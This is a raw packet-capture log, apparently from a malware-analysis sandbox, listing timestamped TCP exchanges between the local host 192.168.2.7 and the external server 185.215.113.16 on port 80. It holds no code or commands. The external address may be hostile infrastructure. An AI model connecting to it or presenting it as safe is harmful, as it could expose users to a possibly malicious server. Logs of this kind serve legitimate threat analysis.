Oct 30, 2024 04:35:25.753537893 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.753576040 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.753585100 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.753612041 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.753731012 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.784677982 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.784725904 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.784735918 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.784744978 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.784769058 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.784920931 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.784990072 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.785022020 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.785033941 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.785042048 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.785072088 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.785072088 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.785093069 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.785094976 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.785116911 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.785142899 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.785168886 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.785180092 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.785190105 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.785212994 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.785235882 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.785346985 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.785356998 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.785367012 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.785393953 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.785418034 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.825789928 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.825803041 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.825813055 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.825957060 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.828113079 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.828165054 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.828176022 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.828197002 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.828218937 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.828229904 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.828301907 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.828308105 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.828320980 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.828332901 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.828407049 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.828452110 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.828504086 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.828511000 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.828515053 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.828547001 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.828577995 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.828598022 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.828665018 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.828675032 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.828681946 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.828686953 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.828766108 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.828849077 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.828906059 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.828926086 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.828943968 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.828960896 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.828970909 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.828999043 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.829083920 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.829103947 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.829142094 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.829153061 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.829163074 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.829210997 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.829222918 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.829241037 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.829327106 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.829499006 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.829509020 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.829519033 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.829569101 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.829591990 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.829603910 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.829660892 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.829802036 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.829826117 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.829835892 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.829869032 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.829911947 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.829922915 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.829935074 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.829936028 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.830015898 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.830065012 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.830076933 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.830092907 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.830104113 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.830127954 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.830173969 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.830513000 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.830530882 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.830573082 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.830586910 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.830588102 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.830640078 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.830653906 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.830663919 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.830691099 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.830701113 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.830717087 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.830770016 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.870243073 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.870393038 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.870393991 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.870404005 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.870415926 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.870428085 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.870446920 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.870464087 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.870475054 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.870479107 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.870487928 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.870577097 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.871037960 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.871104956 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.871115923 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.871143103 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.871154070 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.871253014 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.871264935 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.871277094 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.871284962 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.871287107 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.871351957 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.871361971 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.871367931 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.871378899 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.871427059 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.871428967 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.871440887 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.871459007 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.871486902 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.871531963 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.871606112 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.871642113 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.871651888 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.871674061 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.871725082 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.871736050 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.871747017 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.871747971 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.871808052 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.871818066 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.871826887 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.871871948 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.872077942 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.872117996 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.872134924 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.872159958 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.872214079 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.872214079 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.872226954 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.872239113 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.872293949 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.903388977 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.903445959 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.903476000 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.903487921 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.903497934 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.903526068 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.903551102 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.903562069 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.903570890 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.903672934 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.903773069 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.903836012 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.903852940 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.903867960 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.903882027 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.903892040 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.903922081 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.904007912 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.904355049 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.904398918 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.904434919 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.904522896 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.944395065 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.944431067 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.944462061 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.944473982 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.944524050 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.944705963 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.946671963 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.946685076 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.946695089 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.946770906 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.946782112 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.946791887 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.946803093 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.946815014 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.946890116 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.946978092 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.947000027 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.947033882 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.947038889 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.947103024 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.947115898 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.947123051 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.947196960 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.947204113 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.947221994 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.947232962 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.947259903 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.947329998 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.947376966 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.947402000 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.947412968 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.947427034 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.947467089 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.947504997 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.947563887 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.947575092 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.947601080 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.947647095 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.947709084 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.947731972 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.947742939 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.947760105 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.947839975 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.947875023 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.947886944 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.947897911 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.947935104 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.947953939 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.947966099 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.948045969 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.948193073 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.948226929 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.948239088 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.948263884 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.948327065 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.948338032 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.948343039 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.948350906 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.948419094 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.948573112 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.948612928 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.948626041 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.948642015 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.948647976 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.948720932 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.948812962 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.948869944 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.948883057 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.948889017 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.948951006 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.948960066 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.948965073 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.949034929 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.949127913 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.949179888 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.949192047 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.949198961 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.949266911 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.949268103 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.949280024 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.949290991 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.949301958 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.949351072 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.949368954 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.949413061 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.989123106 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.989152908 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.989171982 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.989197016 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.989209890 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.989224911 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.989240885 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.989269972 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.989281893 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.989291906 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.989305019 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.989325047 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.989336967 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.989350080 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.989356995 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.989356995 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.989356995 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.989356995 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.989356995 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.989371061 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.989413023 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.989449024 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.989487886 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.989487886 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.989500046 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.989542961 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.989561081 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.989563942 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.989577055 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.989610910 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.989638090 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.989773035 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.989785910 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.989818096 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.989828110 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.989851952 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.989876032 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.989881992 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.989897966 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.989912987 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.989936113 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.989976883 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.990113974 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.990125895 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.990138054 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.990158081 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.990187883 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.990211010 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.990222931 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.990247011 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.990286112 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.990362883 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.990405083 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.990432024 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.990442991 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.990477085 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.990500927 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.990551949 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.990607977 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.990617990 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.990628958 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.990637064 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.990658045 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.990659952 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.990673065 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.990683079 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:25.990704060 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:25.990725994 CET	49983	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:26.022253036 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.022270918 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.022294998 CET	80	49983	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:26.022313118 CET	80	49983	185.215.113.16	192.168.2.7
